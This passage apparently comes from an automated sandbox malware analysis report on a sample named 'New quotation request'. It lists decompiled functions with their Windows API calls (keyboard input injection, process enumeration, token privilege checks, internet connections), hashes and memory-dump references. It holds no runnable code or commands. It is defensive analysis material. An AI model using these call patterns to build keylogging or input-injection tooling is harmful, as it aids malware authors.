                                                                    • Opcode Fuzzy Hash: 1aba60d6bdb5285eacce567192cd598dfb2378cdc81c1184ff5b1ae0ad603ec9
                                                                    • Instruction Fuzzy Hash: 4A313770D48208AEFB3F8A258C05BFABBA9AB4D318F44825AE491561D1C3F5C9C09751
                                                                    Function 00310C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00310C66
                                                                    • SetKeyboardState.USER32(00000080,?,00008000), ref: 00310C82
                                                                    • PostMessageW.USER32(00000000,00000101,00000000), ref: 00310CE1
                                                                    • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00310D33
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: KeyboardState$InputMessagePostSend
                                                                    • String ID:
                                                                    • API String ID: 432972143-0
                                                                    • Opcode ID: ac7600424243fd4e185b2dd70c3166b79a27a14f64d3fd545147aa938df48fa4
                                                                    • Instruction ID: 6186329c21bbd67577b03693839feb46e9f1b828e8925a3b16c2c0595a07c24a
                                                                    • Opcode Fuzzy Hash: ac7600424243fd4e185b2dd70c3166b79a27a14f64d3fd545147aa938df48fa4
                                                                    • Instruction Fuzzy Hash: AB315830940308AEFF3F8B689C15BFEBB6AAB4D310F04432AE4905A5D1C3B599D58BD1
                                                                    Function 002E61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 002E61FB
                                                                    • __isleadbyte_l.LIBCMT ref: 002E6229
                                                                    • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 002E6257
                                                                    • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 002E628D
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                    • String ID:
                                                                    • API String ID: 3058430110-0
                                                                    • Opcode ID: 445c540a1247101fa43a1002e5c059249e325ec5903dec2c5f9153f53b78895b
                                                                    • Instruction ID: 45bba755c19babc3da5a5d900731ece9aefbff95799e0cac0a440ce5ee362de0
                                                                    • Opcode Fuzzy Hash: 445c540a1247101fa43a1002e5c059249e325ec5903dec2c5f9153f53b78895b
                                                                    • Instruction Fuzzy Hash: 6131F230A50286AFDF228F76CC48BAA7FA9FF51390F554029E9248B191D771EC60DB90
                                                                    Function 00334EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetForegroundWindow.USER32 ref: 00334F02
                                                                      • Part of subcall function 00313641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0031365B
                                                                      • Part of subcall function 00313641: GetCurrentThreadId.KERNEL32 ref: 00313662
                                                                      • Part of subcall function 00313641: AttachThreadInput.USER32(00000000,?,00315005), ref: 00313669
                                                                    • GetCaretPos.USER32(?), ref: 00334F13
                                                                    • ClientToScreen.USER32(00000000,?), ref: 00334F4E
                                                                    • GetForegroundWindow.USER32 ref: 00334F54
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                    • String ID:
                                                                    • API String ID: 2759813231-0
                                                                    • Opcode ID: 0861418563609ada1d1d6727b8eea4ac762015a7d105c6abc9cd16329f111fe8
                                                                    • Instruction ID: a6dc79fc382eb5e4fb24a382c9999a474a15eeb6245c5b0c3246e38f7671bae7
                                                                    • Opcode Fuzzy Hash: 0861418563609ada1d1d6727b8eea4ac762015a7d105c6abc9cd16329f111fe8
                                                                    • Instruction Fuzzy Hash: 6F311872E00108AFDB01EFA5C8859EEB7FDEF99300F10406AE515E7251DA75AE55CBA0
                                                                    Function 00313C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateToolhelp32Snapshot.KERNEL32 ref: 00313C7A
                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 00313C88
                                                                    • Process32NextW.KERNEL32(00000000,?), ref: 00313CA8
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00313D52
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                                    • String ID:
                                                                    • API String ID: 420147892-0
                                                                    • Opcode ID: 6693656df0e02576e974bbd82a8244a46d25b93d726726525e79410d2dfd92c4
                                                                    • Instruction ID: e1ab7102b5312fdd17d500e175569542cc7ada2f14aa50d638d8328b5e8e208d
                                                                    • Opcode Fuzzy Hash: 6693656df0e02576e974bbd82a8244a46d25b93d726726525e79410d2dfd92c4
                                                                    • Instruction Fuzzy Hash: 0731B4711083059FD305EF60D881AFFBBE8EF99354F50092DF481861A1EB719A49CB92
                                                                    Function 0033C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • GetCursorPos.USER32(?), ref: 0033C4D2
                                                                    • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,002EB9AB,?,?,?,?,?), ref: 0033C4E7
                                                                    • GetCursorPos.USER32(?), ref: 0033C534
                                                                    • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,002EB9AB,?,?,?), ref: 0033C56E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                    • String ID:
                                                                    • API String ID: 2864067406-0
                                                                    • Opcode ID: 7460a1ee99bbe71c7553264c2c60d430709fb1594c00c694852d20469d63e964
                                                                    • Instruction ID: 8ec8112014e3bbe0bd2014f85773061e82a27f69f04dba8dc9e02c93d8b62f70
                                                                    • Opcode Fuzzy Hash: 7460a1ee99bbe71c7553264c2c60d430709fb1594c00c694852d20469d63e964
                                                                    • Instruction Fuzzy Hash: BC31D235610018FFDB27CF59C898EEA7BB9EB0A310F444069F9099B262C731AD50DFA4
                                                                    Function 00308656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0030810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00308121
                                                                      • Part of subcall function 0030810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0030812B
                                                                      • Part of subcall function 0030810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0030813A
                                                                      • Part of subcall function 0030810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00308141
                                                                      • Part of subcall function 0030810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00308157
                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 003086A3
                                                                    • _memcmp.LIBCMT ref: 003086C6
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 003086FC
                                                                    • HeapFree.KERNEL32(00000000), ref: 00308703
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                                    • String ID:
                                                                    • API String ID: 1592001646-0
                                                                    • Opcode ID: 7198e9b93c4fd1fa25005e7b1533269e6e8bec2e8dc17c5f4e81bb6e792f9e2b
                                                                    • Instruction ID: 1fc14a23aa3318502a1c8e4cc9458bdba6ce5bd61ea8ee81b1e4de9e25bf2106
                                                                    • Opcode Fuzzy Hash: 7198e9b93c4fd1fa25005e7b1533269e6e8bec2e8dc17c5f4e81bb6e792f9e2b
                                                                    • Instruction Fuzzy Hash: 1E219D71E02208EFDB11DFA8C959BEEB7B8EF44304F164059E585AB281DB31AE05CB90
                                                                    Function 002D098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __setmode.LIBCMT ref: 002D09AE
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00317896,?,?,00000000), ref: 002B5A2C
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00317896,?,?,00000000,?,?), ref: 002B5A50
                                                                    • _fprintf.LIBCMT ref: 002D09E5
                                                                    • OutputDebugStringW.KERNEL32(?), ref: 00305DBB
                                                                      • Part of subcall function 002D4AAA: _flsall.LIBCMT ref: 002D4AC3
                                                                    • __setmode.LIBCMT ref: 002D0A1A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                                    • String ID:
                                                                    • API String ID: 521402451-0
                                                                    • Opcode ID: 51549757d7147b0cffe79732e9076aaa9d3a4dda307e4d722713122c80f9aff1
                                                                    • Instruction ID: f898b27b674dac773b47e38779b6cac74792cec7efefb8f8b06f8b18b0629041
                                                                    • Opcode Fuzzy Hash: 51549757d7147b0cffe79732e9076aaa9d3a4dda307e4d722713122c80f9aff1
                                                                    • Instruction Fuzzy Hash: 601157319286046FC705B3B49C86AFE77AC9F45360F244027F205A72D2EE705CA25BE0
                                                                    Function 00321767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003217A3
                                                                      • Part of subcall function 0032182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0032184C
                                                                      • Part of subcall function 0032182D: InternetCloseHandle.WININET(00000000), ref: 003218E9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$CloseConnectHandleOpen
                                                                    • String ID:
                                                                    • API String ID: 1463438336-0
                                                                    • Opcode ID: 7d4077951efac8ae35954e05f10f9d04c2f7a26f641243a8aa48b2ab03023c7f
                                                                    • Instruction ID: af1184c2b4deab23e8186793f4e44b2cb1e9c06281d3d674fbd168fa7669e9f3
                                                                    • Opcode Fuzzy Hash: 7d4077951efac8ae35954e05f10f9d04c2f7a26f641243a8aa48b2ab03023c7f
                                                                    • Instruction Fuzzy Hash: BB21C331600615BFEB139F64ED81FBBBBADFF98710F10412AFA119A650DB71D811A7A0
                                                                    Function 00313A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileAttributesW.KERNEL32(?,0033FAC0), ref: 00313A64
                                                                    • GetLastError.KERNEL32 ref: 00313A73
                                                                    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00313A82
                                                                    • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0033FAC0), ref: 00313ADF
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateDirectory$AttributesErrorFileLast
                                                                    • String ID:
                                                                    • API String ID: 2267087916-0
                                                                    • Opcode ID: efded9bf31b390171a83bc9d82adb89e2fb6b468a6023c16a282aaf82e263f5e
                                                                    • Instruction ID: adc99b46c7b4524642bf538b7001f2ef38a14718eb2e6269d56c8e94fef92af0
                                                                    • Opcode Fuzzy Hash: efded9bf31b390171a83bc9d82adb89e2fb6b468a6023c16a282aaf82e263f5e
                                                                    • Instruction Fuzzy Hash: B52186745082059F8715EF28C8818EB77E8EE59364F144A2DF4D9C72A1D731DE95CF82
                                                                    Function 0030DCBE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0030F0BC: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0030DCD3,?,?,?,0030EAC6,00000000,000000EF,00000119,?,?), ref: 0030F0CB
                                                                      • Part of subcall function 0030F0BC: lstrcpyW.KERNEL32(00000000,?,?,0030DCD3,?,?,?,0030EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0030F0F1
                                                                      • Part of subcall function 0030F0BC: lstrcmpiW.KERNEL32(00000000,?,0030DCD3,?,?,?,0030EAC6,00000000,000000EF,00000119,?,?), ref: 0030F122
                                                                    • lstrlenW.KERNEL32(?,00000002,?,?,?,?,0030EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0030DCEC
                                                                    • lstrcpyW.KERNEL32(00000000,?,?,0030EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0030DD12
                                                                    • lstrcmpiW.KERNEL32(00000002,cdecl,?,0030EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0030DD46
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: lstrcmpilstrcpylstrlen
                                                                    • String ID: cdecl
                                                                    • API String ID: 4031866154-3896280584
                                                                    • Opcode ID: a32c94d5fd7f83d0d0a50ea9280ff0c53cc532dfdf7bf84af9c767b6687dde14
                                                                    • Instruction ID: 9b7d84bdf462dbcdc6a69e5093f62dbf70e7af3312b40643847d16c7b05a9890
                                                                    • Opcode Fuzzy Hash: a32c94d5fd7f83d0d0a50ea9280ff0c53cc532dfdf7bf84af9c767b6687dde14
                                                                    • Instruction Fuzzy Hash: 2F11BE3A201305EFDB26AF74D895D7A77E9FF45310F80802AE806CB2A0EB719C50DB94
                                                                    Function 002E50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _free.LIBCMT ref: 002E5101
                                                                      • Part of subcall function 002D571C: __FF_MSGBANNER.LIBCMT ref: 002D5733
                                                                      • Part of subcall function 002D571C: __NMSG_WRITE.LIBCMT ref: 002D573A
                                                                      • Part of subcall function 002D571C: RtlAllocateHeap.NTDLL(01580000,00000000,00000001,00000000,?,?,?,002D0DD3,?), ref: 002D575F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateHeap_free
                                                                    • String ID:
                                                                    • API String ID: 614378929-0
                                                                    • Opcode ID: d73436aa332b1c58599b58dfa65a2ceb68ed951f913da12208f4c22d46248d30
                                                                    • Instruction ID: 221d7203f30be872d065646e8e944e8139d0ee7e72d0db7dc5c06da1db8926c7
                                                                    • Opcode Fuzzy Hash: d73436aa332b1c58599b58dfa65a2ceb68ed951f913da12208f4c22d46248d30
                                                                    • Instruction Fuzzy Hash: 9911E372974A62AECB322F72EC45B5D37989F04369F50452BF94C9E250DE70CC609A90
                                                                    Function 002B44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 002B44CF
                                                                      • Part of subcall function 002B407C: _memset.LIBCMT ref: 002B40FC
                                                                      • Part of subcall function 002B407C: _wcscpy.LIBCMT ref: 002B4150
                                                                      • Part of subcall function 002B407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002B4160
                                                                    • KillTimer.USER32(?,00000001,?,?), ref: 002B4524
                                                                    • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002B4533
                                                                    • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002ED4B9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                                    • String ID:
                                                                    • API String ID: 1378193009-0
                                                                    • Opcode ID: 5093fba244b659ec87228d1360fc7c99f1144d4fb72480f5b69f0c03958fa701
                                                                    • Instruction ID: ab9d842af954d8bfbdf72f59448fc96fd8da29a7617d64b533265a1b2bd85f3c
                                                                    • Opcode Fuzzy Hash: 5093fba244b659ec87228d1360fc7c99f1144d4fb72480f5b69f0c03958fa701
                                                                    • Instruction Fuzzy Hash: 532107709547849FEB339F248885BE6BBECAF21344F44049DE6CE56182C3B42994DB51
                                                                    Function 00326369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00317896,?,?,00000000), ref: 002B5A2C
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00317896,?,?,00000000,?,?), ref: 002B5A50
                                                                    • gethostbyname.WSOCK32(?,?,?), ref: 00326399
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 003263A4
                                                                    • _memmove.LIBCMT ref: 003263D1
                                                                    • inet_ntoa.WSOCK32(?), ref: 003263DC
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                                    • String ID:
                                                                    • API String ID: 1504782959-0
                                                                    • Opcode ID: e11fcfc821ab034fff4a0fbbfcfddaf7d4b041d1e746500b5a65ba98c82744c0
                                                                    • Instruction ID: fae325297be1a983f0d8779c0f41897664807bacc26a7cdb358f843fa0217fe9
                                                                    • Opcode Fuzzy Hash: e11fcfc821ab034fff4a0fbbfcfddaf7d4b041d1e746500b5a65ba98c82744c0
                                                                    • Instruction Fuzzy Hash: 15116031910119AFCB05FBA4DD86DEEB7B8AF09310F544065F506AB261DB30AE24CFA1
                                                                    Function 00308B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 00308B61
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00308B73
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00308B89
                                                                    • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00308BA4
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID:
                                                                    • API String ID: 3850602802-0
                                                                    • Opcode ID: 512fd97af26cd64dc2359f210e33c8184127ffedc99b3c81cf0f0b7e3c0821a5
